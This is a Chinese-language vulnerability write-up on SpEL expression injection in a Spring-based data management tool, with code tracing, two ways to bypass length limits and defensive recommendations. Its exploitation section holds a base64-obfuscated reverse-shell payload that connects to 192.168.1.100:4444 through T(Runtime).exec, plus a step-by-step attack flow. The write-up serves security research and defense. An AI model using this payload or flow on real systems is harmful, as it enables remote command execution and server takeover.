SPEL 漏洞挖掘之从sql插入到命令执行的奇思妙想
字数 1411 2025-09-23 19:27:38
SPEL 漏洞挖掘:从 SQL 插入到命令执行的深入分析与利用
一、SPEL 表达式注入漏洞概述
Spring Expression Language(SPEL)是 Spring 框架提供的表达式语言,用于在运行时查询和操作对象图。当应用程序使用 StandardEvaluationContext 而非安全的 SimpleEvaluationContext 时,如果用户能够控制输入内容,就可能造成任意代码执行。
风险核心
StandardEvaluationContext支持全部 SPEL 语法,包括 Java 类型引用、构造函数和 bean 引用SimpleEvaluationContext仅支持 SPEL 语法子集,更安全- SPEL 表达式可通过类类型表达式
T(Type)调用任意类方法
二、漏洞代码示例
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class test_Class {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp1 = parser.parseExpression("T(Runtime).getRuntime().exec(\"calc\")");
Object obj = exp1.getValue();
System.out.println(obj);
}
}
三、漏洞挖掘与定位
1. Sink 点识别
寻找使用 SpelExpressionParser 解析表达式的位置:
protected Object evaluateVariableExpression(Connection cn, Table table, Column column, String value,
NameExpression expression, ExpressionEvaluationContext expressionEvaluationContext,
List<Object> expressionValues) throws Throwable {
Object expValue;
org.springframework.expression.Expression spelExpression = null;
try {
// 漏洞点:直接解析用户控制的表达式内容
spelExpression = this.spelExpressionParser.parseExpression(expression.getContent());
} catch (Throwable t) {
// 异常处理逻辑
}
try {
// 执行表达式
expValue = spelExpression.getValue(expressionEvaluationContext.getVariableExpressionBean());
} catch (Throwable t) {
// 异常处理逻辑
}
expressionValues.add(expValue);
expressionEvaluationContext.putCachedValue(expression, expValue);
return expValue;
}
2. 调用栈分析
evaluateVariableExpression:324, ConversionSqlParamValueMapper
evaluateVariableExpressions:304, ConversionSqlParamValueMapper
resolveExpressionIf:253, ConversionSqlParamValueMapper
map:209, ConversionSqlParamValueMapper
mapToSqlParamValue:637, DefaultPersistenceManager
buildUniqueRecordCondition:548, DefaultPersistenceManager
get:350, DefaultPersistenceManager
execute:484, DataController$10
doExecute:207, AbstractSchemaConnTableController$VoidSchemaConnTableExecutor
view:492, DataController
doFilter:94, AnonymousAuthenticationFilterExt
doFilter:122, LoginLatchFilter
3. Source 点定位
控制器端点:
@RequestMapping("/{schemaId}/{tableName}/view")
public String view(HttpServletRequest request, HttpServletResponse response,
org.springframework.ui.Model springModel, @PathVariable("schemaId") String schemaId,
@PathVariable("tableName") String tableName, @RequestBody Map<String, ?> paramData) throws Throwable {
final User user = WebUtils.getUser();
final Row row = convertToRow(paramData); // 用户可控数据
// ... 后续处理
}
四、漏洞利用条件分析
1. 表达式格式要求
只有符合特定格式的输入才会被识别为表达式进行处理:
- 表达式格式示例:
${expression} - 系统通过
resolveNameExpressions方法处理输入 - 只有匹配特定模式的内容才会被解析为表达式
2. 长度限制绕过技术
方法一:利用数据库字段长度限制差异
- 分析数据库表结构,寻找长度限制较宽的字段
- 通过数据库管理工具查看字段类型和长度限制
- 选择足够长的字段注入 SPEL 表达式
- 示例:发现
address字段长度足够,注入恶意表达式
方法二:外部数据库连接绕过
- 搭建外部 MySQL 数据库:
- 修改
/etc/mysql/mysql.conf.d/mysqld.cnf:bind-address = 0.0.0.0 - 创建远程访问用户:
CREATE USER 'your_user'@'%' IDENTIFIED BY 'your_password'; GRANT ALL PRIVILEGES ON *.* TO 'your_user'@'%';
- 修改
- 创建测试表并设置足够长的字段
- 通过应用程序连接外部数据库
- 在长字段中注入 SPEL 表达式
五、完整利用流程
步骤 1:识别注入点
- 找到接受用户输入并最终传递到
evaluateVariableExpression的功能点 - 通常出现在数据查看、编辑或保存功能中
步骤 2:构造恶意表达式
// 计算器执行示例
T(Runtime).getRuntime().exec("calc")
// 反向shell示例(需根据环境调整)
T(Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}")
步骤 3:绕过长度限制
- 方法一:利用现有表中长度足够的字段
- 方法二:通过外部数据库创建包含长字段的表
步骤 4:触发表达式执行
- 访问数据查看页面:
/{schemaId}/{tableName}/view - 确保包含恶意表达式的记录被查询和显示
- 观察命令执行结果
六、防御建议
1. 使用安全的 EvaluationContext
// 不安全的用法
StandardEvaluationContext context = new StandardEvaluationContext();
// 安全的用法
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
2. 输入验证和过滤
- 对用户输入进行严格的格式验证
- 过滤或转义特殊字符和表达式语法
3. 最小权限原则
- 数据库用户应遵循最小权限原则
- 禁止不必要的数据库操作权限
4. 表达式白名单
- 限制可执行的表达式类型和内容
- 实施表达式内容安全检查
七、总结
本漏洞利用的关键在于:
- 识别 SPEL 表达式注入的 sink 点
- 追踪用户输入到漏洞点的数据流
- 绕过输入长度限制的两种方法:
- 利用现有数据库字段长度差异
- 通过外部数据库创建自定义表结构
- 构造并执行恶意 SPEL 表达式实现命令执行
这种漏洞挖掘过程体现了安全研究人员需要具备的创造性思维和 persistence(持久性),在遇到限制时不断寻找新的突破方法。